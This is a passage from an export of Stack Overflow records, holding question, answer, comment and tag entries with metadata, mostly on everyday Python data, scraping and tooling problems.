of the Jacobian det = J.item((0,0))*J.item((1,1)) - J.item((0,1))*J.item((1,0)) inverseJ = 1/det * np.matrix([ [J.item((1,1)), -J.item((0,1))], [-J.item((1,0)), J.item((0,0))]]) ### THE PROBLEMATIC MATRIX VECTOR MULTIPLICATION IN QUESTION q = q + inverseJ.dot(deltaT)
has answer: http://stackoverflow.com/a/46912569
tagged with: vector
tagged with: python
possible better answer: http://stackoverflow.com/a/46912569
type: AnsweredQuestion
upvote count: 3
has answer: http://stackoverflow.com/a/46912688
score: 3
accepted answer: http://stackoverflow.com/a/46912688
answer count: 2
downvote count: 0
linked to: http://stackoverflow.com/q/21562986
has title: Why does my matrix vector multiplication in NumPy yield a two dimensional array instead of a one dimensional vector?
favorite count: 0
type: Question
tagged with: matrix-multiplication
tagged with: numpy

http://stackoverflow.com/a/47018648
has comment: http://stackoverflow.com/comment/120982039
score: 3
upvote count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/81019706
accepted answer of: http://stackoverflow.com/q/47014330
has comment: http://stackoverflow.com/comment/127514851
type: Answer
answers question: http://stackoverflow.com/q/47014330
has body: Not really the prettiest solution, but you could download the complete code repository of one of the excel handling packages for python (openpyxl for example) and put these files in the same directory as the python script that you're going to run. Subsequently you can do an import of these local package files in your script. Note: if the excel handling package has dependencies on other packages, then you'll need to download these as well.
has comment: http://stackoverflow.com/comment/81078046
has comment: http://stackoverflow.com/comment/114329732
has comment: http://stackoverflow.com/comment/81077690
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81075925

python-3.6
tags question: http://stackoverflow.com/q/46925583
tags question: http://stackoverflow.com/q/46917429
tags question: http://stackoverflow.com/q/47052500
tags question: http://stackoverflow.com/q/47022697
tags question: http://stackoverflow.com/q/47062984
tags question: http://stackoverflow.com/q/46993185
tags question: http://stackoverflow.com/q/46977424
tags question: http://stackoverflow.com/q/46950722
tags question: http://stackoverflow.com/q/47033785
tags question: http://stackoverflow.com/q/46968007
tags question: http://stackoverflow.com/q/46942585
tags question: http://stackoverflow.com/q/46936934
tags question: http://stackoverflow.com/q/46968326
tags question: http://stackoverflow.com/q/47054962
tags question: http://stackoverflow.com/q/46945653
tags question: http://stackoverflow.com/q/47064528
tags question: http://stackoverflow.com/q/46923244
tags question: http://stackoverflow.com/q/46920786
tags question: http://stackoverflow.com/q/46996747
tags question: http://stackoverflow.com/q/46961836
tags question: http://stackoverflow.com/q/47020343
tags question: http://stackoverflow.com/q/46948457
type: Tag
tags question: http://stackoverflow.com/q/46914890
tag name: python-3.6
tags question: http://stackoverflow.com/q/47059561
tags question: http://stackoverflow.com/q/47007148
tags question: http://stackoverflow.com/q/46996805
tags question: http://stackoverflow.com/q/46921689
tags question: http://stackoverflow.com/q/46907754
tags question: http://stackoverflow.com/q/46995307
tags question: http://stackoverflow.com/q/47053793
tags question: http://stackoverflow.com/q/47042871
tags question: http://stackoverflow.com/q/46945550
tags question: http://stackoverflow.com/q/47040009
tags question: http://stackoverflow.com/q/46918903
tags question: http://stackoverflow.com/q/47042998

http://stackoverflow.com/comment/80951023
has text: You must first label the categories in columns with numbers; don't know how the Chinese symbols will be read (but serlialization should help); and then look for correlation. A heatmap is a good way to visualize the correlation matrix. find inspiration here: [Heatmap](https://datascience.stackexchange.com/questions/10459/calculation-and-visualization-of-correlation-matrix-with-pandas)
type: QuestionComment
comment on: http://stackoverflow.com/q/47002168
type: Comment
score: 0

http://stackoverflow.com/q/46946635
possible better answer: http://stackoverflow.com/a/46946782
accepted answer: http://stackoverflow.com/a/46953187
tagged with: header
has title: Bio.PDB mmcif2dict module not callable
has answer: http://stackoverflow.com/a/46946782
tagged with: sequence
has answer: http://stackoverflow.com/a/46953187
tagged with: protein-database
type: Question
score: 0
answer count: 2
tagged with: python
has comment: http://stackoverflow.com/comment/132887749
tagged with: biopython
linked to: http://stackoverflow.com/q/20383747
type: AnsweredQuestion
has body: I fetched a cristal structure of a protein using the function retrieve_pdb_file from Bio.PDB. The default format has changed from PDB to PDBx/mmCif. I want to extract the protein sequence from the header in the cif file. There is supposed to be a simple function in Bio.PDB called MMCIF2Dict to do this but the module is not callable. I also downloaded the cif file manually and put it in the script folder but still the same error. My biopython is up to date. Am I doing something wrong or the module is not well implemented? Thank you for your answers. from Bio.PDB import * cifFile = '1bu7.cif' mmcif = MMCIF2Dict(cifFile) TypeError: 'module' object is not callable

http://stackoverflow.com/q/47004736
has body: I am trying to use scipy.minimize to perform a simple minimization (a basic example of simulated maximum likelihood). For some reason it just returns the initial value. What am I doing wrong? Here's my code: import numpy as np from scipy.optimize import minimize # Simulated likelihood function # Arguments: # theta: vector representing probabilities # sims: vector representing uniform simulated data, e.g. [0.43, 0.11, 0.02, 0.97, 0.77] # dataCounts: vector representing counts of actual data, e.g. [4, 10, 7] def simLogLikelihood(theta, sims, dataCounts): # Categorise sims using theta simCounts = np.bincount(theta.cumsum().searchsorted(sims)) # Calculate probabilities using simulated data simProbs = simCounts/simCounts.sum() # Calculate likelihood using simulated probabilities and actual data logLikelihood = (dataCounts*np.log(simProbs)).sum() return -logLikelihood # Set seed np.random.seed(121) # Generate 'true' data trueTheta = np.array([0.1, 0.4, 0.5]) dataCounts = np.bincount(np.random.choice([0, 1, 2], 1000, p=trueTheta)) # Generate simulated data (random draws from [0, 1)) sims = np.random.random(1000) # Choose theta to maximise likelihood thetaStart = np.array([0.33, 0.33, 0.34]) bnds = ((0, 1), (0, 1), (0, 1)) cons = ({'type': 'eq', 'fun': lambda x: x.sum() - 1.0}) result = minimize(simLogLikelihood, x0=thetaStart, args=(sims, dataCounts), method='SLSQP', bounds=bnds, constraints=cons) (The bounds in bnds reflect the fact that probabilities need to be between zero and one. The constraint in cons is that the probabilities have to sum to one.) If I run this code, result contains: fun: 1094.7593617864004 jac: array([ 0., 0., 0.]) message: 'Optimization terminated successfully.' nfev: 5 nit: 1 njev: 1 status: 0 success: True x: array([ 0.33, 0.33, 0.34]) So it just does a single iteration and returns the vector of probabilities I started with. But it is easy to find another vector of probabilities with a lower objective, e.g. [0.1, 0.4, 0.5]. What is going wrong?
tagged with: scipy
has answer: http://stackoverflow.com/a/47004839
has comment: http://stackoverflow.com/comment/81074480
favorite count: 0
type: Question
tagged with: numpy
has title: scipy minimize returns initial value
type: UnansweredQuestion
tagged with: python
tagged with: minimization
downvote count: 0
upvote count: 1
score: 1
answer count: 1

http://stackoverflow.com/comment/80790832
has text: Hi guys, sorry about the vague explanation and thank you for your answers. Please refer to the edit :)
score: 0
comment on: http://stackoverflow.com/q/46919046
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81004678
score: 0
comment on: http://stackoverflow.com/q/47028962
type: Comment
type: QuestionComment
has text: How do you extract a sublist from a list in Python without removing elements ?

http://stackoverflow.com/comment/80793283
has text: Ya it should be, but always returns false.
comment on: http://stackoverflow.com/q/46923003
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/q/46994426
has answer: http://stackoverflow.com/a/46994452
has comment: http://stackoverflow.com/comment/80935336
downvote count: 1
has body: I have a numpy array, something like below: data = np.array([ 1.60130719e-01, 9.93827160e-01, 3.63108206e-04]) and I want to round each element to two decimal places. How can I do so?
has comment: http://stackoverflow.com/comment/99352295
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80935286
tagged with: rounding
has answer: http://stackoverflow.com/a/46994595
has comment: http://stackoverflow.com/comment/80935335
has answer: http://stackoverflow.com/a/78430433
tagged with: python
answer count: 4
tagged with: numpy
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/61762554
has title: How to round a numpy array?
score: 93
has comment: http://stackoverflow.com/comment/80935341
has answer: http://stackoverflow.com/a/61762554
accepted answer: http://stackoverflow.com/a/46994452
tagged with: arrays
upvote count: 94

http://stackoverflow.com/q/46906889
downvote count: 0
tagged with: hdf5
tagged with: pytables
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46924363
has title: How to store null value in hdf5 table?
tagged with: h5py
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/59425899
score: 2
answer count: 2
upvote count: 2
has body: I want to store null value in hdf5 file. h5file = tables.open_file("demo.h5", mode="w", title="demo") group = h5file.create_group('/', 'depth','Dept Data information') table = h5file.create_table(group, 'readout', depthdata , "depth data") row_data = table.row for i in range(len(record['local_timestamp'])): if record['bbno1'][i] is '': row_data['bbno1'] = NaN else: row_data['bbno1'] = record['bbno1'][i] I used these code but its not work. I used NaN and NULL but its not work.

http://stackoverflow.com/comment/81066761
comment on: http://stackoverflow.com/q/47059431
score: 0
type: Comment
type: QuestionComment
has text: Take a look at [selenium](http://selenium-python.readthedocs.io/installation.html).

http://stackoverflow.com/comment/80808145
has text: @cᴏʟᴅsᴘᴇᴇᴅ, i just realized that OP didn't say anything about excel in the question itself. So your answer perfectly answers the question - +1 :)
score: 0
type: Comment
comment on: http://stackoverflow.com/a/46930303
type: AnswerComment

http://stackoverflow.com/comment/80901927
type: Comment
has text: It partially works. It prints just the first value when I should have 11 federico@federico:~/github $ sudo python IPSEC_config_attributes.py SSH COnnection established with 10.42.19.58 Interactive SSH session established Give the name of the 3PPartner >XXXXXX 10 Logged out of device x.x.x.x
type: AnswerComment
comment on: http://stackoverflow.com/a/46977149
score: 0

http://stackoverflow.com/q/46938572
favorite count: 0
score: 24
answer count: 4
has answer: http://stackoverflow.com/a/46938699
has answer: http://stackoverflow.com/a/52713166
type: Question
has title: Pandas groupby mean - into a dataframe?
accepted answer: http://stackoverflow.com/a/46938596
has answer: http://stackoverflow.com/a/46938596
tagged with: python
has body: Say my data looks like this: date,name,id,dept,sale1,sale2,sale3,total_sale 1/1/17,John,50,Sales,50.0,60.0,70.0,180.0 1/1/17,Mike,21,Engg,43.0,55.0,2.0,100.0 1/1/17,Jane,99,Tech,90.0,80.0,70.0,240.0 1/2/17,John,50,Sales,60.0,70.0,80.0,210.0 1/2/17,Mike,21,Engg,53.0,65.0,12.0,130.0 1/2/17,Jane,99,Tech,100.0,90.0,80.0,270.0 1/3/17,John,50,Sales,40.0,50.0,60.0,150.0 1/3/17,Mike,21,Engg,53.0,55.0,12.0,120.0 1/3/17,Jane,99,Tech,80.0,70.0,60.0,210.0 I want a new column average, which is the average of total_sale for each name,id,dept tuple I tried df.groupby(['name', 'id', 'dept'])['total_sale'].mean() And this does return a series with the mean: name id dept Jane 99 Tech 240.000000 John 50 Sales 180.000000 Mike 21 Engg 116.666667 Name: total_sale, dtype: float64 but how would I reference the data? The series is a one dimensional one of shape (3,). Ideally I would like this put back into a dataframe with proper columns so I can reference properly by name/id/dept.
possible better answer: http://stackoverflow.com/a/46938699
has answer: http://stackoverflow.com/a/46938613
tagged with: pandas-groupby
tagged with: pandas
type: AnsweredQuestion
downvote count: 0
tagged with: dataframe
upvote count: 24

http://stackoverflow.com/comment/80881618
type: AnswerComment
score: 1
has text: Or to get it faster, use list comprehensions: `[(k,v) for k,v in d.items()]`
comment on: http://stackoverflow.com/a/46967117
type: Comment

http://stackoverflow.com/q/47001172
has answer: http://stackoverflow.com/a/47002229
answer count: 1
has title: MongoDB: find non exisiting or specific value
type: Question
tagged with: python-3.x
tagged with: mongodb
accepted answer: http://stackoverflow.com/a/47002229
tagged with: python
has body: I know about $exists in MongoDB but I don't know how to combine it with an OR logic within find(). I want to find all transactions where the base_currency field is either not existing or has a specific value. At the same time trade_currency must have a specific value. Here's what I tried but doesn't work. txs = db.transactions.find({ 'base_currency': { $or: [{ $exists: true }, { $eq: base_currency }]}, 'trade_currency': currency }).sort([('datetime_closed', 1)])
type: AnsweredQuestion
score: 0

http://stackoverflow.com/q/46944549
answer count: 2
tagged with: visual-studio-code
downvote count: 0
has answer: http://stackoverflow.com/a/64608296
type: UnansweredQuestion
upvote count: 6
has body: I'm using Visual Studio Code to develop a python project and when I select the option to run all unit tests, I get the following error: 'command 'python.runtests' not found In my project I'm the unittest package and I have a settings.json file that has the following configuration (see below): { "python.unitTest.unittestArgs": [ "-v","-s", ".//Test", "-p", "*_test.py" ], "python.unitTest.unittestEnabled": true, "python.unitTest.pyTestEnabled": false, "python.unitTest.nosetestsEnabled": false } All my unit tests classes are under a folder called Test folder. Please help, thanks in advance.
score: 6
has title: Visual Studio Code - 'command python.runtests not found' what is this?
tagged with: python
linked to: http://stackoverflow.com/q/62470439
has answer: http://stackoverflow.com/a/48068396
tagged with: python-unittest
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/94195635

http://stackoverflow.com/comment/81120012
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47021304
score: 0
has text: I guess I wanted a code that could detect all the blobs but give information on the convexity, inertia and circularity of the blob. I am still working on building that code. And you are right. I didn't realize early that the parameters were acting as a filter rather than what I wanted in my case.

http://stackoverflow.com/comment/81129346
has text: check this https://gis.stackexchange.com/a/230573/49538 ,the steps is the same if you have a QGIS normal instalation
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47049942

http://stackoverflow.com/q/46992144
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46992258
possible better answer: http://stackoverflow.com/a/46992190
tagged with: python
has answer: http://stackoverflow.com/a/46992284
has title: Using python dictionaries to create flashcards from a string
tagged with: dictionary
score: 1
has answer: http://stackoverflow.com/a/46992190
answer count: 4
type: Question
accepted answer: http://stackoverflow.com/a/46992388
has body: I have a list of 50 terms I need to learn and instead of copying and pasting each one into a flashcard app I am trying to put each term and its definition into a Python dictionary. I have the following code: terms = """1 Alliteration- the repetition of a speech sound in a sequence of nearby words 2 Term - definition...""" definitions = {} for word in text.split(): if word.isdigit(): definitions[word+1] = ??? I want the code to read through the strings and if it hits a digit it should save the next word it runs into e.g. "Alliteration" as the key and all of the words after it, up until the next number, as the value e.g. "the repetition of a speech sound in a sequence of nearby words" Any idea on how to write the code that solves the problem?
has answer: http://stackoverflow.com/a/46992388
downvote count: 0
upvote count: 1
favorite count: 0

http://stackoverflow.com/comment/81071530
has text: `q` is a string because you are iterating over the list of characters `a`.
score: 0
comment on: http://stackoverflow.com/q/47061798
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46960561
has comment: http://stackoverflow.com/comment/80869581
tagged with: pandas
has comment: http://stackoverflow.com/comment/80869226
accepted answer: http://stackoverflow.com/a/46967063
has comment: http://stackoverflow.com/comment/80869706
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/80868594
favorite count: 0
has body: data1 = {'date': ['1998', '1999','1999','2000','1999'], 'node1': [1,1,2,3,3], 'node2': [3,4,3,4,8], 'weight': [1,1,1,1,1], } df1 = pd.DataFrame(data1, columns = ['date', 'node1','node2','weight']) data2 = {'date': ['2002','2001','2003','2002','2002','2001'], 'node1': [1,1,1,2,2,3], 'node2': [2,3,4,3,5,4], 'weight': [1,1,1,1,1,1], } df2= pd.DataFrame(data2, columns = ['date', 'node1','node2','weight']) I would like to search both the columns in each dataframe and then output the row which has the non common element in it. Output for this data would be: dataframe1: 3 8 1999 dataframe2: 2 5 2002 Output explanation-By searching across the two rows in the two dataframes we find that 5 and 8 are the non common elements therefore the row containing them are printed. Edit-Data corrected.
type: Question
has comment: http://stackoverflow.com/comment/80880566
has comment: http://stackoverflow.com/comment/80868948
has comment: http://stackoverflow.com/comment/80869027
has answer: http://stackoverflow.com/a/46967063
has comment: http://stackoverflow.com/comment/80869876
has comment: http://stackoverflow.com/comment/80868548
tagged with: dataframe
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/80880890
type: AnsweredQuestion
upvote count: 0
has title: Getting the non common elements from the two columns in two dataframes

http://stackoverflow.com/comment/80988832
type: AnswerComment
comment on: http://stackoverflow.com/a/46981957
has text: @alexis pointed it right, and it should get something like [({'contains(cancer)': True, (...), 'contains(usual)': True}, 'Cancer'), ({'contains(neurodegeneration)': True, (...), 'contains(neurodegenerative)': True, 'HD')]. The problem is that the text is in NLTK format, but doesn't have categories, i.e. the tuples required for that code to work (and that was why I followed approach 2)
score: 0
type: Comment

http://stackoverflow.com/comment/80792004
score: 0
type: Comment
type: QuestionComment
has text: @Sraw You can see `RUN ls -al` results above, definitely exists . I have tried use absolute path, same result.
comment on: http://stackoverflow.com/q/46922184

http://stackoverflow.com/comment/88300120
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46947191
has text: @VivekKumar: Please, how do you reproduce num_boost_round=500 from xgb.train in XGBRepressor? Same, how to you specify the fact in xgb.train that you will use either a classifier or regressor? the objective function might do that, but as you can specify any combination such as binary:logistic in XGBregressor, i guess this is not the parameter used for this. Thanks.
score: 0

http://stackoverflow.com/comment/80908105
score: 0
type: Comment
type: QuestionComment
has text: Very generally speaking, the answer to "how do I return more than one thing from inside a loop?" is "create a list, append to the list inside the loop, then return the list after the loop ends"
comment on: http://stackoverflow.com/q/46980335

http://stackoverflow.com/comment/80813845
comment on: http://stackoverflow.com/q/46928106
score: 0
type: Comment
type: QuestionComment
has text: Great suggestions! I was initially trying to load entire data set, as I was using a jquery plugin to render the data, which doesn't give the flexibility to load the data in batches. But I'm now going to write a custom paginator to provide the flexibility I need. But just out of curiosity, is there any pythonic technique that would allow loading such large data set at once and efficiently?

http://stackoverflow.com/q/46989596
type: UnansweredQuestion
has title: Get request hanging using Python selenium and PhantomJS headless browser
upvote count: 1
tagged with: python
tagged with: phantomjs
answer count: 0
score: 1
tagged with: headless
downvote count: 0
tagged with: selenium
favorite count: 0
has body: I'm trying to scrape product information from Adidas but for some reason when making a get request using PhantomJS the session is hanging and not receiving a response. I've tried the same using Selenium with Chrome and headless with Chrome and it works. So my assumption would be that it's some kind of firewall or browser fingerprint tracking that's blocking PhantomJS. I need to use authenticated proxies so selenium with Chrome isn't an option. Is anyone able to help me get this working using PhantomJS? Here is my original script: from selenium import webdriver import base64 username = 'proxyusername' password = 'proxypassword' proxy = 'host:port' service_args = ['--proxy=http://'+str(proxy), '--proxy-type=http' ] login =str(username)+':'+str(password) authentication_token = "Basic " + base64.b64encode(login.encode()) capa = webdriver.DesiredCapabilities.PHANTOMJS capa['phantomjs.page.customHeaders.Proxy-Authorization'] = authentication_token capa['phantomjs.page.settings.userAgent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36' driver = webdriver.PhantomJS("/usr/local/bin/phantomjs",desired_capabilities=capa, service_args=service_args) print 'Getting URL' driver.get('http://www.adidas.co.uk') print 'Request made' html_source = driver.page_source print html_source
type: Question
tagged with: proxies

http://stackoverflow.com/a/47042917
type: Answer
accepted answer of: http://stackoverflow.com/q/47022486
has comment: http://stackoverflow.com/comment/81111118
downvote count: 0
score: 1
upvote count: 1
has body: I don't quite understand your use of colons, but there is a problem. I did the experiment of putting an image at C:\cabinet.jpg and executing box(texture='C:\cabinet.jpg') This fails, and if you turn on the browser debugger you'll see this error message: Not allowed to load local resource: file:///C:/cabinet.jpg This is related to CORS issues, Cross-origin resource sharing. On the other hand, it is possible to get an image from a "CORS-enabled" site. This works: box(texture='https://s3.amazonaws.com/glowscript/textures/flower_texture.jpg') Thanks for reporting this, though, as I think I may see a way to make local files work. Bruce Sherwood P.S. It's better to post VPython questions to the VPython forum, where there are many more VPython users than are likely to see stackoverflow questions.
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47022486

http://stackoverflow.com/q/46929519
answer count: 2
has answer: http://stackoverflow.com/a/46934189
accepted answer: http://stackoverflow.com/a/46934189
has title: Cannot install Django 2 Beta 1 on Ubuntu Server 16.04
type: Question
tagged with: beta
has body: I'm trying to install Django 2 beta 1 on an Ubuntu Server 16.04 using the command line shown on Django's download page without success. The given command line is: pip install --pre django but when I run it, it is trying to install Django 1.11.6. (Downloading Django-1.11.6-py2.py3-none-any.whl (6.9MB)) Does anyone know how I can successfully install the beta ?
tagged with: pip
tagged with: django
tagged with: python
has answer: http://stackoverflow.com/a/46929793
possible better answer: http://stackoverflow.com/a/46929793
tagged with: ubuntu
type: AnsweredQuestion
score: 0

http://stackoverflow.com/comment/80947050
type: Comment
has text: The library already handled the exception, you can't prevent that.
score: 0
comment on: http://stackoverflow.com/q/47000214
type: QuestionComment

anaconda
tags question: http://stackoverflow.com/q/47019229
tags question: http://stackoverflow.com/q/46971774
tags question: http://stackoverflow.com/q/47003151
type: Tag
tags question: http://stackoverflow.com/q/47002808
tags question: http://stackoverflow.com/q/47020965
tag name: anaconda
tags question: http://stackoverflow.com/q/46998581
tags question: http://stackoverflow.com/q/46994879
tags question: http://stackoverflow.com/q/46936969
tags question: http://stackoverflow.com/q/46925542
tags question: http://stackoverflow.com/q/46997209
tags question: http://stackoverflow.com/q/47003444
tags question: http://stackoverflow.com/q/46991607
tags question: http://stackoverflow.com/q/46912742
tags question: http://stackoverflow.com/q/46905867
tags question: http://stackoverflow.com/q/46929791
tags question: http://stackoverflow.com/q/46913742
tags question: http://stackoverflow.com/q/47035378
tags question: http://stackoverflow.com/q/46949235
tags question: http://stackoverflow.com/q/46985312
tags question: http://stackoverflow.com/q/46939660
tags question: http://stackoverflow.com/q/46939562
tags question: http://stackoverflow.com/q/47032171
tags question: http://stackoverflow.com/q/47057991
tags question: http://stackoverflow.com/q/47025408
tags question: http://stackoverflow.com/q/47040527
tags question: http://stackoverflow.com/q/47062984
tags question: http://stackoverflow.com/q/46924092

http://stackoverflow.com/comment/81025121
score: 1
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47036638
has text: This works great (and is easy to add coloring too, but the way!). If no-one else responds with a way to manipulate the formatter itself, I'd say this is the the best bet

http://stackoverflow.com/comment/81111257
type: AnswerComment
has text: I'd recommend trying to debug the program by incrementally adding in features (relating to the window and mouse) starting from the bare-bones code here and ending at your current code. That way you can spot when the code stops working and what is causing the problem!
score: 0
comment on: http://stackoverflow.com/a/47060707
type: Comment

http://stackoverflow.com/comment/80993273
type: QuestionComment
has text: `letter1.lower() == "gt"` should be `letter1.lower() in "gt"`
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47022730

http://stackoverflow.com/a/46922894
upvote count: 4
answers question: http://stackoverflow.com/q/46922715
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: You can use the .max() method on the dataframe to get the most recent date. You will need to pass the parameter axis=1 to have it calculate the max along each row. import pandas as pd data = {'A': [1, 2, 3, 4], 'B': ['20171018', '', '', ''], 'C': ['20171019', '20171005', '', ''], 'D': ['20171001', '20171006', '20171019', ''], 'E': ['20171002', '20171003', '20171020', '20171021'], 'F': ['id_123','id_234','id_345','id_456'] } df = pd.DataFrame(data) # convert to datetimes for c in 'BCDE': df[c] = pd.to_datetime(df[c]) # create a new column df['G'] = df'B','C','D','E'.max(axis=1) print(df) A B C D E F G 0 1 2017-10-18 2017-10-19 2017-10-01 2017-10-02 id_123 2017-10-19 1 2 NaT 2017-10-05 2017-10-06 2017-10-03 id_234 2017-10-06 2 3 NaT NaT 2017-10-19 2017-10-20 id_345 2017-10-20 3 4 NaT NaT NaT 2017-10-21 id_456 2017-10-21
score: 4
has comment: http://stackoverflow.com/comment/80794230
accepted answer of: http://stackoverflow.com/q/46922715

http://stackoverflow.com/comment/80786482
comment on: http://stackoverflow.com/q/46919473
has text: please explain better what you are trying to do. to sum the list simply do: sum(number)
type: QuestionComment
score: 0
type: Comment

http://stackoverflow.com/q/46911164
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80770459
has comment: http://stackoverflow.com/comment/80769259
has body: I am using scrapy to scrape some big brands to import the sale data for my site. Currently I am using DOWNLOAD_DELAY = 1.5 CONCURRENT_REQUESTS_PER_DOMAIN = 16 CONCURRENT_REQUESTS_PER_IP = 16 I am using Item loader to specify css/xpath rules and Pipeline to write the data into csv. The data that I collect is original price, sale price, colour, sizes, name, image url and brand. I have written the spider for only one merchant who has around 10k urls and it takes me about 4 hours. My question is, does 4 hours sounds alright for 10k urls or it should be faster than that. If so, what else do I need to do to speed it up. I am using only one SPLASH instance locally to test. But in production I am planning to use 3 SPLASH instances. Now the main issue, I have about 125 merchants and on avg 10k product for each. couple of them has more than 150k urls to scrape. I need to scrape all their data every night to update my site. Since my single spider takes 4 hours to scrape 10k urls, I am wondering if it is even valid dream to achieve 125 x 10k urls every night I will really appreciate your experienced input to my problem.
has comment: http://stackoverflow.com/comment/80769343
tagged with: scrapy-splash
has comment: http://stackoverflow.com/comment/80793764
has answer: http://stackoverflow.com/a/46911252
has comment: http://stackoverflow.com/comment/80770619
has comment: http://stackoverflow.com/comment/80771050
score: 0
has title: How to scrape tens of thousands urls every night using scrapy
upvote count: 1
tagged with: python
type: UnansweredQuestion
tagged with: scrapy
tagged with: scrapy-pipeline
has comment: http://stackoverflow.com/comment/80771981
answer count: 1

http://stackoverflow.com/comment/80791092
score: 0
type: Comment
has text: @sam44 Just noticed that and fixed it.
type: AnswerComment
comment on: http://stackoverflow.com/a/46921677

http://stackoverflow.com/a/46958562
has comment: http://stackoverflow.com/comment/80866561
upvote count: 2
accepted answer of: http://stackoverflow.com/q/46958166
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80864901
downvote count: 0
answers question: http://stackoverflow.com/q/46958166
has body: So you write all you files into one, that's not gonna work Try this import os url="someurl" outputfile='./file.zip' link=urllib.urlopen(url) soup= bs4.BeautifulSoup(link,'lxml') links=[] for data in soup.find_all('div', class_='master_content-outer-container'): for a in data.find_all('a'): links.append(a.get('href')) for i in links: request=urllib.urlopen(i) read=request.read() file_name = os.path.basename(i) output = open(file_name, "wb") output.write(read) output.close() zip_ref= zipfile.ZipFile(file_name,'r') zip_ref.extractall('./data/') zip_ref.close() Option 2 import os url="someurl" outputfile='./file.zip' link=urllib.urlopen(url) soup= bs4.BeautifulSoup(link,'lxml') def download_and_extract(link): request=urllib.urlopen(link) read=request.read() file_name = os.path.basename(link) output = open(file_name, "wb") output.write(read) output.close() zip_ref= zipfile.ZipFile(file_name,'r') zip_ref.extractall('./data/') zip_ref.close() for data in soup.find_all('div', class_='master_content-outer-container'): for a in data.find_all('a'): download_and_extract(a.get('href'))
type: Answer
score: 2

http://stackoverflow.com/q/46959674
possible better answer: http://stackoverflow.com/a/46959978
has answer: http://stackoverflow.com/a/46960007
answer count: 3
score: 1
has comment: http://stackoverflow.com/comment/80867529
tagged with: python
has body: I have data that looks like this Row_idx Column_idx Value AA AA 1 AA BB 2 AA CC 3 BB BB 1 BB CC 4 CC CC 1 df=pd.DataFrame({'Row_idx':['AA','AA','AA','BB','BB','CC'],'Column_idx':['AA','BB','CC','BB','CC','CC'],'Value':[1,2,3,1,4,1]}) which represents the upper half of a covariance matrix AA BB CC AA 1 2 3 BB 1 4 CC 1 How can I most efficiently get my data into a complete matrix again. The data gets read into a dataframe from a file and has a few hundred thousand rows, therefore I would like to avoid using some nested looping approach. Eventually I need this as a np.array 1 2 3 2 1 4 3 4 1 I was thinking about using numpy's triu package to complete the matrix but how do I get it quickly from RCV dataframe into properly row and column indexed dataframe?
tagged with: numpy
type: AnsweredQuestion
tagged with: pandas
tagged with: matrix
downvote count: 0
upvote count: 1
has title: RCV into matrix
favorite count: 0
has answer: http://stackoverflow.com/a/46959838
accepted answer: http://stackoverflow.com/a/46959838
type: Question
has answer: http://stackoverflow.com/a/46959978

http://stackoverflow.com/a/59902851
downvote count: 1
score: 2
answers question: http://stackoverflow.com/q/47004955
has comment: http://stackoverflow.com/comment/106080550
upvote count: 3
has comment: http://stackoverflow.com/comment/106015393
has comment: http://stackoverflow.com/comment/106026652
has body: If you happen to have a CUDA enabled GPU then you can try Mozilla's DeepSpeech GPU library. They also have a CPU version in case you don't have a CUDA enabled GPU. A CPU transcribes an audio file using DeepSpeech in 1.3x time whereas, on GPU, the speed is 0.3x ie it transcribes a 1-second audio file in 0.33 seconds. Quickstart: # Create and activate a virtualenv virtualenv -p python3 $HOME/tmp/deepspeech-gpu-venv/ source $HOME/tmp/deepspeech-gpu-venv/bin/activate # Install DeepSpeech CUDA enabled package pip3 install deepspeech-gpu # Transcribe an audio file. deepspeech --model deepspeech-0.6.1-models/output_graph.pbmm --lm deepspeech- 0.6.1-models/lm.binary --trie deepspeech-0.6.1-models/trie --audio audio/2830- 3980-0043.wav Some important notes- Deepspeech-gpu has some dependencies like tensorflow, CUDA, cuDNN etc. So check out their github repo for more details -https://github.com/mozilla/DeepSpeech
has comment: http://stackoverflow.com/comment/106063329
type: Answer
has comment: http://stackoverflow.com/comment/105976012

http://stackoverflow.com/a/46920884
score: 0
type: Answer
answers question: http://stackoverflow.com/q/46917217
type: AcceptedAnswer
has body: Answering my own question here: The issue was not that the dictionary itself was None, but that it held values of None type. The reason why this went unnoticed is because our previous use of the script required all the fields in the record to be filled out. Whereas this time around a lot of the record fields are optional to fill out. The None key/value pairs will have to be removed from the dictionary before converting them into a DataFrame. Once they are removed, the error will no longer exist.
accepted answer of: http://stackoverflow.com/q/46917217

http://stackoverflow.com/a/47041379
score: 0
answers question: http://stackoverflow.com/q/47041305
upvote count: 1
downvote count: 1
has body: You can try this: import re s = "alpha alphabet alphameric" data = re.findall("alpha(?=\s)", s)[0] Output: "alpha"
type: Answer
has comment: http://stackoverflow.com/comment/81029798

ibm-cloud-functions
tag name: ibm-cloud-functions
tags question: http://stackoverflow.com/q/46985397
type: Tag

http://stackoverflow.com/comment/80864027
score: 0
comment on: http://stackoverflow.com/q/46958247
has text: You can't send a `std::string` through a network packet like that. You're going to have to serialize it or use a POD struct.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46915234
favorite count: 0
accepted answer: http://stackoverflow.com/a/46920725
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80782782
has title: Django foreign key default
has answer: http://stackoverflow.com/a/46920725
score: 1
type: Question
